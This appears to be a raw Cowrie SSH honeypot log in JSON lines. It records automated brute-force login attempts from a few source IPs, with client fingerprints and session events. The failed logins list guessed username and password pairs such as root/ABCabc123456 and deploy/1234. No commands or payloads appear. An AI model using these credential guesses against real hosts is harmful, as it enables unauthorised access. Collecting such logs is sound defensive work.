{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:47.541576Z","src_ip":"150.136.214.177","session":"d25b89ee3112","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:50.666882Z","src_ip":"91.92.40.36","session":"e4558633580f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:52.310362Z","src_ip":"91.92.40.36","session":"e4558633580f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":44164,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c77b6abd40b","protocol":"ssh","message":"New connection: 91.92.40.36:44164 (10.17.0.5:22) [session: 3c77b6abd40b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:56.119926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:56.702319Z","src_ip":"91.92.40.36","session":"3c77b6abd40b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:08:57.565099Z","src_ip":"91.92.40.36","session":"3c77b6abd40b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:01.751241Z","src_ip":"91.92.40.36","session":"3c77b6abd40b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40602,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5172cc225d4","protocol":"ssh","message":"New connection: 91.92.40.36:40602 (10.17.0.5:22) [session: b5172cc225d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:02.745472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:02.973588Z","src_ip":"91.92.40.36","session":"b5172cc225d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:03.010230Z","src_ip":"91.92.40.36","session":"b5172cc225d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:03.600742Z","src_ip":"91.92.40.36","session":"3c77b6abd40b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"composer","password":"composer","message":"login attempt [composer/composer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:04.051607Z","src_ip":"91.92.40.36","session":"b5172cc225d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:05.535334Z","src_ip":"91.92.40.36","session":"b5172cc225d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28906,"dst_ip":"10.17.0.5","dst_port":22,"session":"79daf3494966","protocol":"ssh","message":"New connection: 91.92.40.36:28906 (10.17.0.5:22) [session: 79daf3494966]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:10.211524Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:10.708850Z","src_ip":"91.92.40.36","session":"79daf3494966","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:10.716496Z","src_ip":"91.92.40.36","session":"79daf3494966","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser2","password":"ftpuser2","message":"login attempt [ftpuser2/ftpuser2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:12.682106Z","src_ip":"91.92.40.36","session":"79daf3494966","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:14.306443Z","src_ip":"91.92.40.36","session":"79daf3494966","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":46580,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c14726ea01c","protocol":"ssh","message":"New connection: 97.74.87.152:46580 (159.203.135.109:22) [session: 9c14726ea01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:18.019927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:18.024204Z","src_ip":"97.74.87.152","session":"9c14726ea01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:18.259280Z","src_ip":"97.74.87.152","session":"9c14726ea01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57032,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6532f9c1ac0","protocol":"ssh","message":"New connection: 91.92.40.36:57032 (10.17.0.5:22) [session: a6532f9c1ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:18.568192Z"}
{"eventid":"cowrie.login.failed","username":"network","password":"network","message":"login attempt [network/network] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:19.227867Z","src_ip":"97.74.87.152","session":"9c14726ea01c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:19.234292Z","src_ip":"91.92.40.36","session":"a6532f9c1ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":37166,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea1b18f5f4fa","protocol":"ssh","message":"New connection: 103.84.236.242:37166 (159.203.135.109:22) [session: ea1b18f5f4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:19.827184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:19.836016Z","src_ip":"103.84.236.242","session":"ea1b18f5f4fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:20.069484Z","src_ip":"103.84.236.242","session":"ea1b18f5f4fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:20.186164Z","src_ip":"91.92.40.36","session":"a6532f9c1ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:20.466981Z","src_ip":"97.74.87.152","session":"9c14726ea01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ghost","password":"ghostpass","message":"login attempt [ghost/ghostpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:21.038882Z","src_ip":"103.84.236.242","session":"ea1b18f5f4fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:22.275538Z","src_ip":"103.84.236.242","session":"ea1b18f5f4fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":57090,"dst_ip":"10.17.0.5","dst_port":22,"session":"62c6d667201f","protocol":"ssh","message":"New connection: 91.92.40.36:57090 (10.17.0.5:22) [session: 62c6d667201f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:25.219974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:25.749414Z","src_ip":"91.92.40.36","session":"62c6d667201f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:25.753095Z","src_ip":"91.92.40.36","session":"62c6d667201f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123456","message":"login attempt [botuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:28.835967Z","src_ip":"91.92.40.36","session":"a6532f9c1ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:28.854472Z","src_ip":"91.92.40.36","session":"62c6d667201f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:30.927521Z","src_ip":"91.92.40.36","session":"62c6d667201f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:31.827826Z","src_ip":"91.92.40.36","session":"a6532f9c1ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":10992,"dst_ip":"10.17.0.5","dst_port":22,"session":"db7f339eef11","protocol":"ssh","message":"New connection: 91.92.40.36:10992 (10.17.0.5:22) [session: db7f339eef11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:32.364597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:33.090500Z","src_ip":"91.92.40.36","session":"db7f339eef11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:33.093495Z","src_ip":"91.92.40.36","session":"db7f339eef11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123456","message":"login attempt [root/ABCabc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:36.020313Z","src_ip":"91.92.40.36","session":"db7f339eef11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:37.397423Z","src_ip":"91.92.40.36","session":"db7f339eef11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":46854,"dst_ip":"10.17.0.5","dst_port":22,"session":"9174260b5b8b","protocol":"ssh","message":"New connection: 91.92.40.36:46854 (10.17.0.5:22) [session: 9174260b5b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:39.881865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:09:40.575226Z","src_ip":"91.92.40.36","session":"9174260b5b8b","protocol":"ssh"}
